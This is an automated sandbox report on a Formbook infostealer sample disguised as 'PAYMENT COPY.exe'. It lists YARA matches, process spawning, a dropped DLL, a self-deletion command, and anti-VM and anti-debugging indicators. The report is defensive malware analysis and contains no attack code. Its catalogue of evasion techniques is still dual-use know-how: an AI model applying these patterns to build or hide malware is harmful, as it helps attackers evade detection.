Source: 2.1.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.1.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Classification label

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/3@12/8

Contains functionality to check free disk space

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 1_2_004041E5 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

1_2_004041E5

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 1_2_004020A6 CoCreateInstance,MultiByteToWideChar,

1_2_004020A6

Creates mutexes

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:120:WilError_01

Creates temporary files

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

File created: C:\Users\user\AppData\Local\Temp\nsw3A72.tmp

Jump to behavior

PE file has an executable .text section and no other executable section

Source: PAYMENT COPY.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads ini files

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Sample is known by Antivirus

Source: PAYMENT COPY.exe	Virustotal: Detection: 32%
Source: PAYMENT COPY.exe	ReversingLabs: Detection: 27%

Sample reads its own file content

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

File read: C:\Users\user\Desktop\PAYMENT COPY.exe

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\PAYMENT COPY.exe 'C:\Users\user\Desktop\PAYMENT COPY.exe'
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Process created: C:\Users\user\Desktop\PAYMENT COPY.exe 'C:\Users\user\Desktop\PAYMENT COPY.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\SysWOW64\msdt.exe
Source: C:\Windows\SysWOW64\msdt.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PAYMENT COPY.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Process created: C:\Users\user\Desktop\PAYMENT COPY.exe 'C:\Users\user\Desktop\PAYMENT COPY.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PAYMENT COPY.exe'			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.360125493.0000000007CA0000.00000002.00000001.sdmp
Source:	Binary string: msdt.pdbGCTL source: PAYMENT COPY.exe, 00000002.00000002.379579567.0000000002750000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: PAYMENT COPY.exe, 00000001.00000003.335333892.000000001F140000.00000004.00000001.sdmp, PAYMENT COPY.exe, 00000002.00000002.379228424.0000000000BCF000.00000040.00000001.sdmp, msdt.exe, 00000005.00000002.595219970.0000000004CB0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: PAYMENT COPY.exe, msdt.exe
Source:	Binary string: msdt.pdb source: PAYMENT COPY.exe, 00000002.00000002.379579567.0000000002750000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.360125493.0000000007CA0000.00000002.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Unpacked PE file: 2.2.PAYMENT COPY.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 1_2_00401FDC SetErrorMode,GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,SetErrorMode,

1_2_00401FDC

PE file contains sections with non-standard names

Source: ek0j.dll.1.dr

Static PE information: section name: .code

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041CA81 push es; ret		2_2_0041CA87
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041B3C5 push eax; ret		2_2_0041B418
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041B47C push eax; ret		2_2_0041B482
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041B412 push eax; ret		2_2_0041B418
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041B41B push eax; ret		2_2_0041B482
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041C656 push ss; ret		2_2_0041C657
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00415EF0 push ss; iretd		2_2_00415F03
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041CFFA push BB2529E0h; iretd		2_2_0041D000
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B2D0D1 push ecx; ret		2_2_00B2D0E4
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041CA81 push es; ret		2_1_0041CA87
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041B3C5 push eax; ret		2_1_0041B418
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041B47C push eax; ret		2_1_0041B482
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041B412 push eax; ret		2_1_0041B418
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041B41B push eax; ret		2_1_0041B482
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D2D0D1 push ecx; ret		5_2_04D2D0E4
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AECA81 push es; ret		5_2_00AECA87
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AEB3C5 push eax; ret		5_2_00AEB418
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AEB41B push eax; ret		5_2_00AEB482
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AEB412 push eax; ret		5_2_00AEB418
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AEB47C push eax; ret		5_2_00AEB482
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AE5EF0 push ss; iretd		5_2_00AE5F03
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AEC656 push ss; ret		5_2_00AEC657
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AECFFA push BB2529E0h; iretd		5_2_00AED000

Persistence and Installation Behavior:

Drops PE files

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

File created: C:\Users\user\AppData\Local\Temp\nsr3AA2.tmp\ek0j.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	RDTSC instruction interceptor: First address: 00000000004085F4 second address: 00000000004085FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	RDTSC instruction interceptor: First address: 000000000040898E second address: 0000000000408994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msdt.exe	RDTSC instruction interceptor: First address: 0000000000AD85F4 second address: 0000000000AD85FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msdt.exe	RDTSC instruction interceptor: First address: 0000000000AD898E second address: 0000000000AD8994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Contains capabilities to detect virtual machines

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 2_2_004088C0 rdtsc

2_2_004088C0

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\explorer.exe TID: 6204

Thread sleep time: -45000s >= -30000s

Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\SysWOW64\msdt.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msdt.exe	Last function: Thread delayed

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_00405301 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,		1_2_00405301
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_00405C94 SetErrorMode,SetErrorMode,FindFirstFileA,SetErrorMode,FindClose,		1_2_00405C94
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_004026BC FindFirstFileA,		1_2_004026BC

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: explorer.exe, 00000004.00000000.360549025.00000000083E0000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000004.00000000.361717785.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000004.00000000.366638301.000000000D462000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.362236089.0000000008540000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.352285972.00000000062E0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000002.607543206.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000004.00000000.360549025.00000000083E0000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000004.00000000.352285972.00000000062E0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.360457599.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000004.00000002.607543206.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000004.00000002.607543206.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000004.00000000.360457599.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000004.00000000.361717785.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: explorer.exe, 00000004.00000002.607543206.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: explorer.exe, 00000004.00000002.594277957.000000000095C000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G

Queries a list of all running processes

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process queried: DebugPort			Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 2_2_004088C0 rdtsc

2_2_004088C0

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 2_2_00409B30 LdrLoadDll,

2_2_00409B30

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 1_2_709B1000 Rcxlxosdkhvclf,IsDebuggerPresent,DebugBreak,GetTempPathW,lstrcatW,CreateFileW,GetFileSize,VirtualAlloc,ReadFile,VirtualProtect,

1_2_709B1000

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 1_2_00401FDC SetErrorMode,GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,SetErrorMode,

1_2_00401FDC

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_026417F0 mov eax, dword ptr fs:[00000030h]		1_2_026417F0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_026415D8 mov eax, dword ptr fs:[00000030h]		1_2_026415D8
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0F0BF mov ecx, dword ptr fs:[00000030h]		2_2_00B0F0BF
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0F0BF mov eax, dword ptr fs:[00000030h]		2_2_00B0F0BF
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0F0BF mov eax, dword ptr fs:[00000030h]		2_2_00B0F0BF
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B020A0 mov eax, dword ptr fs:[00000030h]		2_2_00B020A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B020A0 mov eax, dword ptr fs:[00000030h]		2_2_00B020A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B020A0 mov eax, dword ptr fs:[00000030h]		2_2_00B020A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B020A0 mov eax, dword ptr fs:[00000030h]		2_2_00B020A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B020A0 mov eax, dword ptr fs:[00000030h]		2_2_00B020A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B020A0 mov eax, dword ptr fs:[00000030h]		2_2_00B020A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B190AF mov eax, dword ptr fs:[00000030h]		2_2_00B190AF
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD9080 mov eax, dword ptr fs:[00000030h]		2_2_00AD9080
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B53884 mov eax, dword ptr fs:[00000030h]		2_2_00B53884
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B53884 mov eax, dword ptr fs:[00000030h]		2_2_00B53884
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD58EC mov eax, dword ptr fs:[00000030h]		2_2_00AD58EC
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		2_2_00B6B8D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6B8D0 mov ecx, dword ptr fs:[00000030h]		2_2_00B6B8D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		2_2_00B6B8D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		2_2_00B6B8D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		2_2_00B6B8D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		2_2_00B6B8D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEB02A mov eax, dword ptr fs:[00000030h]		2_2_00AEB02A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEB02A mov eax, dword ptr fs:[00000030h]		2_2_00AEB02A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEB02A mov eax, dword ptr fs:[00000030h]		2_2_00AEB02A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEB02A mov eax, dword ptr fs:[00000030h]		2_2_00AEB02A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0002D mov eax, dword ptr fs:[00000030h]		2_2_00B0002D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0002D mov eax, dword ptr fs:[00000030h]		2_2_00B0002D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0002D mov eax, dword ptr fs:[00000030h]		2_2_00B0002D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0002D mov eax, dword ptr fs:[00000030h]		2_2_00B0002D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0002D mov eax, dword ptr fs:[00000030h]		2_2_00B0002D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B57016 mov eax, dword ptr fs:[00000030h]		2_2_00B57016
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B57016 mov eax, dword ptr fs:[00000030h]		2_2_00B57016
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B57016 mov eax, dword ptr fs:[00000030h]		2_2_00B57016
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA4015 mov eax, dword ptr fs:[00000030h]		2_2_00BA4015
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA4015 mov eax, dword ptr fs:[00000030h]		2_2_00BA4015
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B92073 mov eax, dword ptr fs:[00000030h]		2_2_00B92073
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA1074 mov eax, dword ptr fs:[00000030h]		2_2_00BA1074
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF0050 mov eax, dword ptr fs:[00000030h]		2_2_00AF0050
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF0050 mov eax, dword ptr fs:[00000030h]		2_2_00AF0050
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B551BE mov eax, dword ptr fs:[00000030h]		2_2_00B551BE
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B551BE mov eax, dword ptr fs:[00000030h]		2_2_00B551BE
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B551BE mov eax, dword ptr fs:[00000030h]		2_2_00B551BE
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B551BE mov eax, dword ptr fs:[00000030h]		2_2_00B551BE
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B061A0 mov eax, dword ptr fs:[00000030h]		2_2_00B061A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B061A0 mov eax, dword ptr fs:[00000030h]		2_2_00B061A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B569A6 mov eax, dword ptr fs:[00000030h]		2_2_00B569A6
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02990 mov eax, dword ptr fs:[00000030h]		2_2_00B02990
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFC182 mov eax, dword ptr fs:[00000030h]		2_2_00AFC182
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0A185 mov eax, dword ptr fs:[00000030h]		2_2_00B0A185
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADB1E1 mov eax, dword ptr fs:[00000030h]		2_2_00ADB1E1
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADB1E1 mov eax, dword ptr fs:[00000030h]		2_2_00ADB1E1
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADB1E1 mov eax, dword ptr fs:[00000030h]		2_2_00ADB1E1
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B641E8 mov eax, dword ptr fs:[00000030h]		2_2_00B641E8
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0513A mov eax, dword ptr fs:[00000030h]		2_2_00B0513A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0513A mov eax, dword ptr fs:[00000030h]		2_2_00B0513A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF4120 mov eax, dword ptr fs:[00000030h]		2_2_00AF4120
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF4120 mov eax, dword ptr fs:[00000030h]		2_2_00AF4120
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF4120 mov eax, dword ptr fs:[00000030h]		2_2_00AF4120
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF4120 mov eax, dword ptr fs:[00000030h]		2_2_00AF4120
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF4120 mov ecx, dword ptr fs:[00000030h]		2_2_00AF4120
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD9100 mov eax, dword ptr fs:[00000030h]		2_2_00AD9100
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD9100 mov eax, dword ptr fs:[00000030h]		2_2_00AD9100
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD9100 mov eax, dword ptr fs:[00000030h]		2_2_00AD9100
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADC962 mov eax, dword ptr fs:[00000030h]		2_2_00ADC962
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADB171 mov eax, dword ptr fs:[00000030h]		2_2_00ADB171
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADB171 mov eax, dword ptr fs:[00000030h]		2_2_00ADB171
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFB944 mov eax, dword ptr fs:[00000030h]		2_2_00AFB944
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFB944 mov eax, dword ptr fs:[00000030h]		2_2_00AFB944
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0FAB0 mov eax, dword ptr fs:[00000030h]		2_2_00B0FAB0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		2_2_00AD52A5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		2_2_00AD52A5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		2_2_00AD52A5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		2_2_00AD52A5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		2_2_00AD52A5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEAAB0 mov eax, dword ptr fs:[00000030h]		2_2_00AEAAB0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEAAB0 mov eax, dword ptr fs:[00000030h]		2_2_00AEAAB0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0D294 mov eax, dword ptr fs:[00000030h]		2_2_00B0D294
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0D294 mov eax, dword ptr fs:[00000030h]		2_2_00B0D294
